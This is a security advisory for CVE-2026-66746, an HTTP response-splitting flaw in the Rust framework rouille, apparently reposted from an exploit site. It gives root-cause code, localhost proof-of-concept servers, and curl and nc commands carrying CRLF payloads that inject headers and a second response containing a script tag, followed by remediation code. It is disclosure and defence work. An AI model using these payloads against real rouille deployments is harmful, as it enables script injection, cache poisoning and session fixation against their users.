## https://sploitus.com/exploit?id=PACKETSTORM:227183
# Security Advisory: HTTP Response Splitting via Unvalidated Response Header Values (rouille)
**Assigned CVE ID:** CVE-2026-66746
## Summary
rouille writes response header values to the client without checking them for
carriage return or line feed. An application that places attacker-influenced text
into a header value therefore emits extra headers, or an entire second HTTP
response, on the wire.
Two properties of rouille make this reachable in ordinary code. `Request::get_param`
percent-decodes, so `%0d%0a` in a query string becomes a real CRLF. And
`session::session` copies the client's own `Cookie` value into `Set-Cookie` with
no validation at all.
Every other widely used Rust HTTP stack rejects this at the type level:
`http::HeaderValue::from_str` returns `InvalidHeaderValue` for CR and LF, which
is why hyper, axum, actix-web and warp are not exposed the same way.
## Affected versions
Repo URL: https://github.com/tomaka/rouille
| | |
|---|---|
| First affected | 0.4.0 (2016-12-14) for the response header path below |
| Last affected | 3.6.2 (2023-04-24), the current release |
| Fixed in | no fixed version at time of writing |
Releases before 0.4.0 emit responses through a different code path that was not
examined, so they are not claimed either way. The `session::session` reflection
described under path B exists from 0.3.2 (2016-12-02) onward.
## Severity
CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers), a specific
case of CWE-93 (CRLF Injection).
CVSS 4.0 base score 5.3 (Medium)
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
## Threat model
Path A requires a remote, unauthenticated attacker and a victim who follows a
link the attacker supplies. The attacker needs the application to put any
request-derived string into a response header. Redirecting to a `next` or
`return_to` query parameter is the common case.
Path B requires only that the application calls `session::session` and reads the
session id. The attacker controls their own `Cookie` header, so on its own this
is self-inflicted. It becomes an attack against others when a shared cache
stores the split response, or when combined with another way to set a cookie in
the victim's browser.
## Root cause
`rouille/src/lib.rs`, lines 624 to 640, passes values straight through:
```rust
624 for (key, value) in rouille_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
```
`Header::from_bytes` checks only that the bytes are ASCII, and CR and LF are
ASCII. `tiny_http-0.12.0/src/common.rs`, lines 166 to 172:
```rust
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
```
The value is then written with no escaping.
`tiny_http-0.12.0/src/response.rs`, lines 99 to 104:
```rust
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
```
### Path A, percent-decoded query parameters
`Request::get_param` decodes percent escapes, so the caller receives real control
characters. `rouille/src/lib.rs`, lines 928 to 932:
```rust
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
```
### Path B, session identifiers reflected from the request
`rouille/src/session.rs` takes the key from the client's cookie at line 59 and
interpolates it into the response header at lines 75 to 81:
```rust
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
```
## Proof of Concept
### Path A
Step 1. Start a server that redirects to a query parameter.
```rust
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
```
Step 2. Request it with `%0d%0a` in the parameter.
```sh
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
```
Result. `X-Injected` arrives as its own header:
```
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
```
Step 3. Extend the payload past the end of the headers to emit a whole second
response.
```sh
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
```
Result. One request, two complete responses. The second carries an
attacker-chosen status line, content type and body:
```
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
```
### Path B
Step 1. Start a server using the documented session idiom.
```rust
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
```
Step 2. Send a cookie whose value contains a bare LF. `\n` below is a single
line feed, `\r\n` is a CRLF.
```sh
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
```
Result. The value breaks out of `Set-Cookie` onto its own line:
```
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
```
Path B has three limits worth noting. Only a bare LF gets through, because CRLF
would have ended the header line in `tiny_http`, so the client or cache must
treat a lone LF as a terminator. Everything after the injection point still
carries the `; Max-Age=3600; Path=/; HttpOnly` suffix from the same `format!`,
so the primitive is a header with a fixed trailing string rather than a clean
arbitrary header. And the attacker only controls their own cookie. Path A has
none of these limits.
## Impact
Script execution in the origin's security context, cache poisoning where a shared
cache stores the injected response against the victim's URL, session fixation
through an injected `Set-Cookie`, and overriding security headers such as CSP or
CORS. Because path A produces a real CRLF, every client and cache splits on it.
## Remediation
Validate header values in `Server::process` before handing them to `tiny_http`,
in `rouille/src/lib.rs` around line 634:
```rust
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
```
Return a 500 for the whole response rather than dropping the offending header,
so the failure is visible instead of silently changing the response.
Validate the session key in `session::session` as well: reject a cookie value
that is not `[A-Za-z0-9]+` and generate a fresh id instead. Checking in
`Response::with_additional_header`, `with_unique_header` and the `redirect_*`
constructors would surface the error at the call site, where the application
author can act on it.